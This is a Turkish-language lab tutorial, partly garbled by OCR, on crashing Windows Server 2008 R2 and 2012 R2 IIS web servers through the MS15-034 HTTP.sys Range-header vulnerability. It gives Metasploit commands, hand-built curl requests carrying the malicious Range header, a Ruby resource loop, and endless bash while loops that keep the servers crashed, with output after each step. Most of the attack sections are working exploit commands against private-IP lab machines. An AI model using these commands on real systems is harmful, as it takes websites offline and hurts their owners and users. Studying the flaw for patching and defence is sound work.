Web Sunucuya Mavi Ekran Verdirerek DoS Yapma

a. Windows Server 2008 R2 'ye Mavi Ekran Verdirme

(+) Bu baslik birebir denenmistir ve basariyla uygulanmistir.

Bu yazida Kali Linux 2018 sanal makinasindan Windows Server 2008 R2 sanal makinasina mavi
ekran verdirme iglemi yapilacaktir. Boylece Windows Server 2008 R2 sanal makinasi mavi ekran

verdiginde servis dig1 kalacagindan hizmet olarak sundugu internet sitesine erisim engellenmis
olacaktir.

Gereksinimler
- Kali Linux 2018 (Downloads / Kali-Linux_2018.1-64bit.7z ) // Saldirgan
- Windows Server 2008 R2 // Web Sunucusu

Windows Server 2008 isletim sistemine sahip sunucuyu IIS hizmeti sunan bir web sunucusu
yapmak icin gerekli yapilandirma ayarlari icin bkz. /home/hefese/Downloads/Windows Server
2008/Windows Server 2008'i Web Sunucusu Yapma.

Uyar1: Windows Server 2008 sifir kurulum ve IIS servisi baglatimi sonras1 mavi ekran
saldirisina basariyla maruz kalmistir. Fakat Windows Server 2008'de Paketleme icin
Gozden Gegir / Internetten Edinilmis Kiymetli Bilgiler / IIS Fingerprinting
Engelleme Ayari.docx dokiimaninda bahsedilen http response header'larini
kaldirmak icin gerekli ayarlamalar1 yaptigimizda mavi ekran hatasi verdirme islemi
basarisiz olmustur. Dolayisiyla Windows Server 2008 sifir kurulumuna saldiri denenmelidir.

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server Sanal Makinasi:
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Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan Kali Linux 2018 sanal makinasindan hedef
web sunucusuna baglanalim.

Kali Linux 2018 Sanal Makinasi;
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Goriildiigii tizere Kali Linux 2018 sanal makinasindan hedef web sunucusunun sundugu internet
sitesine erisim yapabilmekteyiz. Simdi Kali Linux 2018 sanal makinasindan metasploit kullanarak
hedef web sunucusuna mavi ekran verdirelim. Boylece Kali'den hedef web sitesine erisemedigimizi,
yani hedef web sitesinin servis disi kaldigini gorelim.

Kali Linux 2018

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

> set RHOSTS 172.16.3.128

> set TARGETURI /welcome.png // Windows Server 2008 'deki resim
> run

Not: Saldirinin ise yaramasi icin hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segilir.

Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.



Modiil calistiktan sonra Windows Server 2008'in ekranina bakildiginda mavi ekran goriilecektir.

Windows Server Makinasi:

and wind: as been shut down To prevent damage

c dnstalled.
manufacturer

echnical information:

h dump
sh dump

Dolayisiyla Kali Linux 2018'den hedef web sayfasina tekrar erigsmek istedigimizde erisim
gerceklesmeyecektir.

Kali Linux 2018 Makinasti:
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(D Unable to connect

Iceweasel can't establish a connection to the server at 172.16.3.128.
= The site could be temporarily unavailable or too busy. Try again in a few
moments

= If you are unable to load any pages, check your computer's network
connecuon.

= If your computer or network is protected by a firewall or proxy, make sure
that Iceweasel is permitted to access the Web

Try Again



Boylece bir metasploit modulii kullanarak hedef web sitesini servis dis1 birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi icin yaptigimiz bu saldiriya
DOS saldirisi adi verilir.

ms15_034_ulonglongadd modiiliinden etkilenen siiriimler Windows Server 2008 R2 (ki bu
makalede bu windows siiriimiine saldir1 yapilmistir), Windows Server 2012, Windows Server 2012
R2, Windows 7, Windows 8 ve Windows 8.1'dir.

b. Windows Server 2012 R2 SP2 'ye Mavi Ekran Verdirme

(+) Bu baslik birebir denenmistir ve basariyla uygulanmistir.

Bu baslik altinda Kali 2016 sanal makinasindan Windows Server 2012 R2 SP2 sanal makinasina
mavi ekran verdirme islemi yapilacaktir. Boylece Windows Server 2012 R2 SP2 sanal makinasi

mavi ekran verdiginde servis disi kalacagindan hizmet olarak sundugu internet sitesine erisim
engellenmis olacaktir.

Gereksinimler
- Kali Linux 2018 (Downloads / Kali-Linux_2018.1-64bit.7z ) // Saldirgan
- Windows Server 2012 R2 SP2 // Web Sunucusu

Simdi 6ncelikle hedef web sunucusunun ip'sini 6grenelim.

Windows Server 2012 Sanal Makinasi:
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Hedef web sunucusu ip'si 172.16.3.128 imis. Ardindan Kali Linux 2018 sanal makinasindan hedef
web sunucusuna baglanalim.

Kali Linux 2018 Sanal Makinasi;
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Goriildiigii tizere Kali Linux 2018 sanal makinasindan hedef web sunucusunun sundugu internet
sitesine erisim yapabilmekteyiz. Simdi Kali Linux 2018 sanal makinasindan metasploit kullanarak
hedef web sunucusuna mavi ekran verdirelim. Boylece Kali'den hedef web sitesine erisemedigimizi,
yani hedef web sitesinin servis dig1 kaldigin1 gérelim.

Kali Linux 2018

> msfconsole

> use auxiliary/dos/http/ms15_034_ulonglongadd

> set RHOSTS 172.16.3.128

> set TARGETURI /iis-85.png // Windows Server 2012 'deki resim
> run

Not: Saldirinin ige yaramasi icin hedef sistemdeki statik bir kaynagin talep edilmesi
gerekmektedir. Bu nedenle TARGETURI ile hedef sistemdeki statik bir kaynak
(resim, css dosyasi,... vs) segilir.

Output:
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.



Modiil calistiktan sonra Windows Server 20012'nin ekranina bakildiginda mavi ekran goriilecektir.

Windows Server 2012 Makinasi:
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Dolayisiyla Kali Linux 2018'dan hedef web sayfasina tekrar erismek istedigimizde erisim
gerceklesmeyecektir.

Kali Linux 2018 Makinasi:
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Boylece bir metasploit modulii kullanarak hedef web sitesini servis dis1 birakmis olduk. Hedef web
sunucusu mavi ekran ile kullanicilarina hizmet veremez duruma geldigi icin yaptigimiz bu saldiriya
DOS saldirisi adi verilir.

ms15_034_ulonglongadd modiiliinden etkilenen siiriimler Windows Server 2008 R2 (ki bu
makalede bu windows siiriimiine saldir1 yapilmistir), Windows Server 2012, Windows Server 2012
R2, Windows 7, Windows 8 ve Windows 8.1'dir.

Ekstra
(+) Bu bashik denenmistir ve bagariyla uygulanmistir.

Bu saldirida (mavi ekran verdirme saldirisinda) hedef IIS sunucusundaki Http.Sys Remote Code
Execution zafiyetinden faydalamlmistir. Bu zafiyet gonderilen 6zel http talepleri sonrasi
somiiriilebilmektedir. Simdi bu 6zel http taleplerini modiille degil de elle olusturup génderelim.
Boylece hedef IIS sunucusuna yine mavi ekran verdirelim.

Oncelikle hedef sistemde statik bir kaynak belirlememiz gerekmektedir. Bunun nedeni saldirinin
ancak hedef sistemden statik bir kaynak talep ettigimizde ise yariyor olusundadir. Dolayisiyla hedef
IIS sunucumuzdaki resim dosyasini kaynak olarak belirleyelim.

http://172.16.3.136/welcome.png

Daha sonra HTTP talebimize Range header'ini 6zel bir deger ile ekleyelim

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136...
* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
<HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
< Accept-Ranges: bytes
< ETag: "e8893b762ced21:0"
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5



< X-Powered-By: ASP.NET

< Date: Tue, 16 May 2017 16:52:30 GMT

< Content-Length: 362

< Content-Range: bytes */184946

<

<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>
<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>
<BODY><h2>Requested Range Not Satisfiable</h2>

<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>

* Connection #0 to host 172.16.3.136 left intact

Boylece 6zel http talebimiz hedef sunucuya gidecektir. Http yaniti “HTTP/1.1 416 Requested
Range Not Satisfiable” bilgisine sahip olarak donerse hedef sistem biiyiik olasilikla zafiyete sahiptir
deriz. Gonderdigimiz http talebine karsin gelen http yaniti bu bilgiye sahip oldugundan bundan
sonraki adim hedef sistemin zafiyetini somiirmektir. Bu islem igin http talebindeki Range header
degeri 18-18446744073709551615 ile doldurulur ve tekrar gonderilir.

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*

> Range: bytes=18-18446744073709551615

>

AC

Boylece paketi gonderdigimizde hedef sistemin ekranm gidecektir ve mavi ekran verecektir.
Dolayisiyla dos islemi basariyla gerceklesmis olacaktir.

UYARI: Yukarnidaki curl kodu ile hedef sistem bazen mavi ekran verirken bazen de vermemistir.
Dolayisiyla curl kodu ile mavi ekran verdirme islemi zaman zaman basarisiz olabilmektedir. Ancak
curl kodunu tekrar tekrar denemeler sonucu mavi ekran gelebilmektedir.

Not: curl ile Ubuntu 14.04 LTS'den Windows Server makinalarina saldir1 paketi tekrar tekrar
gonderildiginde curl her defasinda patlamistir ve Ubuntu terminaline sagma sapan bir¢ok karakter
y1igmustir. Windows server ise yerli yerinde durmustur. Dolayisiyla saldir1 islemi Kali Linux
2018'nin curl'i ile gerceklesebilmektedir.



Curl ile ayn1 islem Windows Server 2012 'ye denendiginde

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=0-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache
* Trying 172.16.3.136...
* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1
> User-Agent: curl/7.35.0
> Host: 172.16.3.136
> Accept: */*
> Range: bytes=0-18446744073709551615
>
< HTTP/1.1 416 Requested Range Not Satisfiable
< Content-Type: image/png
< Last-Modified: Tue, 16 May 2017 16:32:37 GMT
* Server Microsoft-11S/7.5 is not blacklisted
< Server: Microsoft-11S/7.5
< X-Powered-By: ASP.NET
< Date: Tue, 16 May 2017 16:52:30 GMT
< Content-Length: 362
< Content-Range: bytes */184946
<
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML
4.01//EN""http://www.w3.org/TR/html4/strict.dtd">
<HTML><HEAD><TITLE>Requested Range Not Satisfiable</TITLE>

<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>

<BODY><h2>Requested Range Not Satisfiable</h2>
<hr><p>HTTP Error 416. The requested range is not satisfiable.</p>
</BODY></HTML>

* Connection #0 to host 172.16.3.136 left intact

Kali Linux 2018 Terminal:
> curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-18446744073709551615"
Output:

* Hostname was NOT found in DNS cache

* Trying 172.16.3.136...

* Connected to 172.16.3.136 (172.16.3.136) port 80 (#0)
> GET /welcome.png HTTP/1.1

> User-Agent: curl/7.35.0

> Host: 172.16.3.136

> Accept: */*



> Range: bytes=18-18446744073709551615
>

AC

Windows Server 2012 (mavi ekran vermemistir belki ama) ekrani kitlenmistir. Dolayisiyla Kali'den
Windows Server 2012 IIS ana sayfasina erisilmeye calisildiginda sonug basarisiz olmustur. Yani
DOS basariyla gerceklestirilmistir.

Bu zafiyet I1S'in yiiklii oldugu Windows 7, Windows Server 2008 R2, Windows 8, Windows Server
2012, Windows 8.1, ve Windows Server 2012 R2 isletim sistemlerinin tamamu igin gecerlidir.

Ekstra (2)
(+) Bu bashik denenmistir ve bagariyla uygulanmistir.

Metasploit ms15_034_ulonglongadd modiilii ile yaptigimiz mavi ekran verdirme girisiminde
modiilii sadece bir kez calistirdigimiz i¢in bir kez mavi ekran verdirebilmistik:

Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

msf > use auxiliary/dos/http/ms15_034_ulonglongadd

msf > set RHOSTS 172.16.3.128

msf > set TARGETURI /welcome.png // Windows Server 2008 'deki resim
msf > run

Output:

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

msf > use auxiliary/dos/http/ms15_034_ulonglongadd

msf > set RHOSTS 172.16.3.75

msf > set TARGETURI /iis-85.png // Windows Server 2012 'deki resim
msf > run

Output:

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Auxiliary module execution completed.

Saldiriy tekrar tekrar gerceklestirebilmek icin bir betik dili yardimi alabiliriz. Bu baglikta ruby dili
ile bu islem gerceklestirilecektir:



Oncelikle msfconsole'a direktif verebilecegimiz resource dosyasim olugturalim:
> cd /root/Desktop
> touch looping.rc // rc : resource
> nano looping.rc

<ruby>

# Link https://github.com/actuated/msf-exploit-loop/blob/master/exploit-loop.rc

begin
(1..100).each do |i
run_single("echo 'Attacking attempt: \##{i}"")
run_single("exploit -j")
run_single("sleep 5s")
end
end
</ruby>

Yukaridaki resource dosyasindaki her loop iterasyonunda msfconsole komut satirina echo komutu,
sonra exploit -j komutu ve son olarak da sleep komutu girilmektedir ve enter'lanmaktadir. Bu dosya
msfconsole'da cagrildiginda bu komutlar sirasiyla 100'er defa enter'lanacaktir (¢calistirilacaktir).

Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

> msfconsole

msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf > set RHOSTS 172.16.3.128

msf > set TARGETURI /welcome.png

msf > resource /root/Desktop/looping.rc

Output:

[*] Attacking Attempt : #1
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #2
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #3
[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Attacking Attempt : #4
[*] DOS request sent.



[*] Scanned 1 of 1 host (100% complete).

[*] Auxiliary module execution completed.

Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

> msfconsole

msf > use auxiliary/dos/http/ms15_034_ulonglongadd
msf > set RHOSTS 172.16.3.75

msf > set TARGETURI /iis-85.png

msf > resource /root/Desktop/looping.rc

Output:

[*] Attacking Attempt : #1

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #2

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #3

[*] DOS request sent.

[*] Scanned 1 of 1 host (100% complete).
[*] Attacking Attempt : #4

[*] DOS request sent.
[*] Scanned 1 of 1 host (100% complete).

[*] Auxiliary module execution completed.

Bu sekilde run komutu (ya da exploit komutu) tekrarlanarak hedef web sunucusunun siirekli crash
olmasi saglanabilir.

Ekstra (3)
(+) Bu bashik denenmistir ve basariyla uygulanmistir.

Curl komutuyla yaptigimiz mavi ekran verdirme girisiminde curl'ii sadece bir kez ¢alistirdigimiz
icin bir kez mavi ekran verdirebilmistik:



Kali Linux 2018 Terminal (Hedef: Windows Server 2008 R2) :

> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"

Kali Linux 2018 Terminal (Hedef: Windows Server 2012 R2) :

> curl -v http://172.16.3.136/welcome.png -H "Range: bytes=18-18446744073709551615"

Bu komutlar tekrarlayarak devaml bir mavi ekran verdirme saldiris1 yapabilmek igin bir betik
dilinden yardim alabiliriz. Bu baslikta bash script dili ile bu islem gerceklestirilecektir.

Oncelikle bash script dilinde loop sytax'im su érnekleme ile gosterelim:

Terminal;

// While
> while :; do echo "hasan" >> abc.txt; done

// For
> foriin {1..100}; do echo "hasan" >> abc.txt; done

veya

// While
while :; do $(echo "hasan" >> abc.txt); done

// For
foriin {1..100}; do $(echo "hasan" >> abc.txt); done

Bu drneklerden de anlasilabilecegi iizere abc.txt dosyasina siirekli hasan string'i yazdirilmaktadir.
Buradan hareketle do ve done arasina curl komutunu yerlestirerek birden fazla kere saldir1 kodunun
calismasini saglayabiliriz.

Uyar

curl komutu saldiriy1 yaptiginda hedef sistem crash oldugu i¢gin yanit paketi gelmemekte.
Curl ise yanit paketini alamadigi i¢in bekleme modunda kalmakta ve sonlanamamakta.

Bu durum dolayisiyla bir sonraki loop iterasyonuna gecilememekte ve saldirinin devamliligi
saglanamamakta. Bu sorunu agmak icin timeout komutu kullamlmistir. Bu komut ile curl
komutu her 10 saniyede bir pkill ile sonlandirilmaktadir. Boylece curl'de takili kalma ve bir
sonraki iterasyona gecip yeni curl baglatamama sorunu ¢6ziilmiistiir.

Asagida curl saldir1 kodlarinin hem while hem de for loop igerisine alinmig halini
goriintiilemektesin:



Kali Linux 2018 Terminal:
(—) Hedef: Windows Server 2008 R2

> while :; do timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-
18446744073709551615"; done

> foriin {1..100}; do timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range:
bytes=18-18446744073709551615"; done

veya

> while :; do $(timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range: bytes=18-
18446744073709551615"); done

> foriin {1..100}; do $(timeout 10 curl -v http://172.16.3.107/welcome.png -H "Range:
bytes=18-18446744073709551615"); done

Kali Linux 2018 Terminal:

(- ) Hedef: Windows Server 2012

> while :; do timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"; done

>foriin {1..100}; do timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"; done

veya

> while :; do $(timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range: bytes=18-
18446744073709551615"); done

> foriin {1..100}; do $(timeout 10 curl -v http://172.16.3.75/iis-85.png -H "Range:
bytes=18-18446744073709551615"); done

Bu sekilde while loop ile ya da for loop ile devaml olarak Range header'in1 gondererek hedef web
sunucusunun siirekli crash olmasi saglanabilir.

Kaynaklar
https://technet.microsoft.com/en-us/library/security/ms15-034.aspx
https://www.rapid7.com/db/modules/auxiliary/dos/http/ms15_034_ulonglongadd
https://www.mehmetince.net/ms15-034-http-sys-remote-code-execution-zafiyeti-ve-dos-

saldirisi/

https://github.com/r00t-3xp10it/nmap-nse-modules/blob/master/ms15-034.nse



https://github.com/actuated/msf-exploit-loop

https://stackoverflow.com/questions/5161193/how-to-kill-a-child-process-after-a-given-
timeout-in-bash



